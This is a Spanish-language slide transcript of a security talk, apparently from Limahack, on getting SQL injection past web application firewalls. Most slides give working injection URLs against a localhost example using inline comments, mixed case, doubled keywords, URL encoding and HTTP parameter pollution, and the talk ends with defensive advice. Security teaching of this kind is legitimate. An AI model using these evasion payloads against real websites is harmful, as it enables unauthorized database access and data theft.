Bypassing waf advanced

Click here to load reader

  • date post

    08-Jun-2015
  • Category

    Documents

  • view

    230
  • download

    1

Embed Size (px)

Transcript of Bypassing waf advanced

  • 1. BYPASSING WAF ADVANCED Nunca confes en un firewall

2. Todo el contenido de esta charla es resultado de investigacin con nes didcticos y educativos. El autor no se hace responsable por el uso del conocimiento contenido en la siguiente presentacin. La informacin contenida debe ser utilizada nicamente para nes ticos y con la debida autorizacin. Todo descubrimiento realizado, ha sido y ser usado de forma legal. La audiencia debe asumir todo lo que se exponga hoy, como falso y sin fundamento hasta que lo compruebe personalmente. Limahack no es el autor directo de ninguno de los descubrimientos expuestos, ni de las herramientas demostradas, ni los conoce. Todas las opiniones vertidas durante esta presentacin son exclusivas del expositor, Limahack no es responsable de ninguna de las opiniones vertidas. DISCLAIMER 3. WAF ? WAF = Web Application Firewall Es un Firewall de Aplicaciones Web, que monitorea el trafico del protocolo HTTP. 4. EL ADMINISTRADOR WEB Los administradores web piensan que usando un firewall para su servidor web estarn a salvo de ataques, pero hoy vamos a romper el mito. xD 5. Y PARA QUE SIRVE ? Sirve para poder detectar ciertas peticiones maliciosas con el uso de filtros y reglas definidas dentro de una lista por el WAF. 6. Y MI WEB ES SEGURA SI USO WAF ? Lamentablemente si tu cdigo es vulnerable de nada te servir usarlo, ya que de todas maneras se podr pasar los filtros para poder penetrar al servidor web. 7. COMO DETECTAMOS UN WAF ? Es muy fcil, cuando introducimos comandos que se utiliza en una Inyeccin SQL u otra vulnerabilidad nos mostrara lo siguiente: (Hay tools que automatizan el trabajo) . 8. A JUGAR CON LOS WAF 9. Y COMO HAGO EL BYPASS ? A continuacin te mostrare mtodos para poder hacer el bypass y lograr penetrar al servidor web 1 Usando comentarios en la consulta Normal http://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7 Bypass http://127.0.0.1/noticias.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3,4,5,6,7 La mayora de WAF detectan pero con suerte todo es posible xD 10. BYPASSING WAF 2 Alterando la forma del comando Normal http://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7 Bypass http://127.0.0.1/noticias.php?id=-1 uNiOn sEleCt 1,2,3,4,5,6,7 Este bypass tambin es detectado por algunos WAF. Solo necesitamos un poco de suerte xD Sigamos 11. BYPASSING WAF 3 Duplicando palabra clave Normal http://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7 Bypass http://127.0.0.1/noticias.php?id=-1 UNIunionON SELselectECT 1,2,3,4,5,6,7 Los WAF cometen este error de filtrar palabras claves como UNION, SELECT pero que pasa si hacemos este tipo de consultas, confundiramos al WAF cierto ? Y al final la consulta se lograra con xito Sigamos 12. BYPASSING WAF 3 Usando comentarios y duplicados en la consulta Normal http://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7-- Bypass http://127.0.0.1/noticias.php?id=-1 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4,5,6,7-- Gran parte de los WAF no detectan este mtodo. 13. BYPASSING WAF Y eso es todo ? Pues no, ahora viene lo mas emocionante. Si los mtodos anteriores no hicieron el bypass al WAF, aqu te mostrare mtodos mas avanzados para poder saltarlos. (Nada es seguro en esta vida) 14. BYPASSING WAF 4 URL Encoding Normal http://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7-- Bypass http://127.0.0.1/noticias.php?id=-1 /*!uNI%4fn*/ /*!Sel%45Ct*/ 1,2,3,4,5,6,7-- Donde O es igual a %4f y E es igual a %45 Lo que hicimos fue colocar el valor de la letra en HEX Codificado para URL. 15. BYPASSING WAF Tabla con algunos valores de URL Encoding 16. BYPASSING WAF 5 Usar otros comandos en la consulta Normal http://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,@@version,6,7-- Bypass http://127.0.0.1/noticias.php?id=-1 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4,version(),6,7-- Todo esta en ver si el comando esta en la lista negra y de ser el caso, usar otra opcin para poder hacer el bypass. 17. BYPASSING WAF 6 HTTP Parameter Pollution Es la contaminacin de parmetros que pasan por (GET o POST) en el protocolo HTTP. Esta tcnica la podremos usar dependiendo del tipo de tecnologa en el que este desarrollada la aplicacin (PHP, ASP, JSP, etc). 18. BYPASSING WAF 19. BYPASSING WAF Y COMO APLICO LA TECNICA PARA HACER BYPASS AL WAF ? Supongamos que dupliquemos el parmetro en la URL para alterar la aplicacin. http://127.0.0.1/noticias.php?id= 1 EL WAF ME BANEA =( http://127.0.0.1/noticias.php?id= 1&id=2 BYPASS WAF =) En PHP, siempre evala la ultima variable pero si el WAF esta configurado por defecto como en la mayora de los casos, pasa esto. 20. BYPASSING WAF Siguiendo con HTTP Parameter Pollution, podramos hacer bypass a un WAF sin ningn problema, ya que pocos son los WAF que se centran en esta tcnica y la potencia que tiene. 21. BYPASSING WAF As como pudimos realizar bypass a los WAF para poder realizar las Inyecciones SQL, tambin podramos concretar otros ataques , ya solo Es cuestin de creatividad 22. BYPASSING WAF RECOMENDACIONES - Desarrolla tus aplicaciones de forma segura, pensando como un atacante. - Si vas a usar WAF, no uses la configuracin por defecto. - Trata de documentarte lo mas que puedas. 23. Autor: Brayan Huaman Pereda Desarrollador y Pentester Contacto: brayan@gruporibra.com Twitter: @brayanhpe 24. PREGUNTAS ? 25. Gracias